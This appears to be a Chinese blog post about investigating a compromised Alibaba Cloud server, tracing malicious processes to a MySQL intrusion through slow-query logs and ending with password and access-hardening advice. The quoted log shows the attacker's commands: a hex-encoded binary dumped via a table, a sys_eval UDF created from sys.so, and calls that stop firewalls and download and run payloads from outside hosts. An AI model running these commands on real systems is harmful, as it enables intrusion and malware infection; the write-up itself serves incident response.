重磅-记一次惊心动魄的阿里云服务器被入侵过程定位

#### 现象

- 有很多命名奇怪的进程(现场图没有保留,这个是自己模拟的):

![这里写图片描述](http://img.blog.csdn.net/20160928082801322)

##### 定位步骤一:查看进程文件位置

通过命令

```

ll /proc/pid

```

查看进程文件exe执行路径,打开后整个人都惊呆了!mysql目录和mysql/data目录多了很多奇怪的so文件和可执行文件:

![休息休息](http://img.blog.csdn.net/20160928082623163)

![这里写图片描述](http://img.blog.csdn.net/20160928082700165)

##### 定位步骤二:立马kill掉进程和文件

- 批量kill进程:介绍一个在[stackoverflow](http://stackoverflow.com/questions/3510673/find-and-kill-a-process-in-one-line-using-bash-and-regex/3510850#3510850)看到的人性化易懂的批量kill进程的方法:

```

kill `ps -ef | grep [s]leep | awk '{print $2}'`

解释:

- [s]正则是为了防止匹配到ps本身,免去了grep -V

- awk '{print $2}' 只输出第二列的进程号

- ``是执行命令返回结果,shell语法

- kill grep出来的所有匹配的进程号

```

##### 定位步骤三:修改root密码&关闭ftp匿名用户

正常攻击也没有办法上传木马文件,初步怀疑是服务器密码泄露,被登录进来,然后上传了木马病毒脚本文件,于是通过阿里云控制台修改了root密码,并且重启了机器。

或者另一种可能是通过ftp上传的。此外又看了ftp匿名用户打开了

##### 定位步骤四:再次受到攻击!!!

原本以为修改了root密码并重启了服务器问题已经解决,但是过了一两天阿里云又提示有告警,每隔几天就爆出问题,实在是想不到原因,最后发现个现象木马进程都是mysql用户启动的,mysql攻击也不能自己启动进程,就算存在sql注入也没有理由能上下载文件吧。

##### 定位步骤五:捕捉现场-把mysql全日志打开

既然问题是出在mysql,把mysql的所有查询日志,把slow_log的时间改成0:

```

mysql -help | grep cnf

vi /etc/my.cnf

long_query_time= 0

slow_query_log=ON

slow_query_log_file=/alidata/log/mysql/slow.log

```

##### 定位步骤五:分析日志&入侵过程

观察了一断时间,看slow.log一切豁然开朗了:

![这里写图片描述](http://img.blog.csdn.net/20160928183201292)

有很多奇怪的操作,包括DUMPFILE导出日志

```

//创建表

create table if not exists tempMix4(data LONGBLOB);

// 第一步设置变量

set @a = concat('',0x4D5A4B45524E454C33322E444C4C00004C6F61644C696272617279410000000047657450726F63416464726573730000557061636B42794477696E6740000000504500004C010200001000000800000000000000E0000E210B0100390050000000600000000000008D09010000100000006000000000001000100000000200000400000000000000040000000000000000800100000200000000000002000000000010000010000000001000001000000000000010000000590C0100B8000000410C01001400000000D000009003000000000000000000000000000000000000480000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002E557061636B000000C00000001000000000000000000000000000000000000000000000600000E02E7273726300000000B0000000D00000113D000000020000000000000000000000000000600000E088010010140D01101B0000000E00000000100010BB0B0110070C01100A0C0110180C0110F30B0110FC0F00102E0B0110300B0110D009011065C600103D0C0110FFBF0010220B0110000400007C070000C40B0000400100009F02000090D3001000000000FFFFFFFF0100000001000000010000000100000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058D00000380300000000000000000000380334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000003400BD04EFFE00000100060002001D235600060002001D2356003F00000000000000040000000100000000000000000000000000000098020000000053007400720069006E006700460069006C00650049006E0066006F00000074020000000030003000300030003000340045003400000040002800010043006F006D006D0065006E0074007300000032003000300039002D00310032002D00310030002000310036003A00350031003A003100390000003C001C00010043006F006D00700061006E0079004E0061006D0065000000000050005000530074007200650061006D00200049006E0063002E000000500026000100460069006C0065004400650073006300720069007000740069006F006E000000000050005000530074007200650061006D00200049006E007300740061006C006C006500720000000000380018000100460069006C006500560065007200730069006F006E000000000032002E0036002E00380036002E00380039003800390000009C00760001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000280043002900200032003000300035002D0032003000300039002000500050005300740072006

//第二步 插入到临时表

INSERT INTO tempMix VALUES (@a);

// 导入函数

# User@Host: root[root] @  [115.28.238.77]  Id:    3

# Query_time: 0.001387  Lock_time: 0.000947 Rows_sent: 0  Rows_examined: 0

SET timestamp=1471084691;

CREATE FUNCTION sys_eval RETURNS string SONAME 'sys.so';

# User@Host: root[root] @  [115.28.238.77]  Id:    3

# Query_time: 0.000213  Lock_time: 0.000113 Rows_sent: 0  Rows_examined: 0

SET timestamp=1471084691;

select sys_eval("wget http://www.zuimihu.cn/DDos;chmod 777 DDos;./DDos;");

# Time: 160831  3:51:28

# User@Host: root[root] @  [121.42.195.49]  Id:  115

# Query_time: 2.444778  Lock_time: 0.000000 Rows_sent: 1  Rows_examined: 0

SET timestamp=1472586688;

select sys_eval("/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://211.127.220.60:809/TSmmm;chmod 777 TSmmm;./TSmmm;");

```

##### 定位步骤六:入侵原因分析

通过代码层面入侵的可能性非常低,唯一的可能性是mysql的root账号密码被泄露或者被破解导致的,且从slow-log看访问ip就不是本机,可以推断出是远程登录上mysql然后进行攻击。

##### 定位步骤七:防范措施

核心账号密码一定要足够的复杂,保密,定期更换,最好限制IP登录,只允许本机登录,再开放其他低权限的账户。

修改密码和权限后一周内也没有出现过问题。

#### 相关学习

- [MySQL慢日志查询全解析:从参数、配置到分析工具](http://mp.weixin.qq.com/s?__biz=MzI4NTA1MDEwNg==&mid=2650756876&idx=1&sn=d6c91752f05cfa0a3c55b4b3b433733a&chksm=f3f9e299c48e6b8f12f91018ce14a0e15acbffe8ce09f4c62a82661acd29abdce94723c13fc0&mpshare=1&scene=1&srcid=0929TCKiJ86ZAlthrUPVOs4s#rd)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,179评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,229评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,032评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,533评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,531评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,539评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,916评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,574评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,813评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,568评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,654评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,354评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,937评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,918评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,152评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,852评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,378评论 2 342

推荐阅读更多精彩内容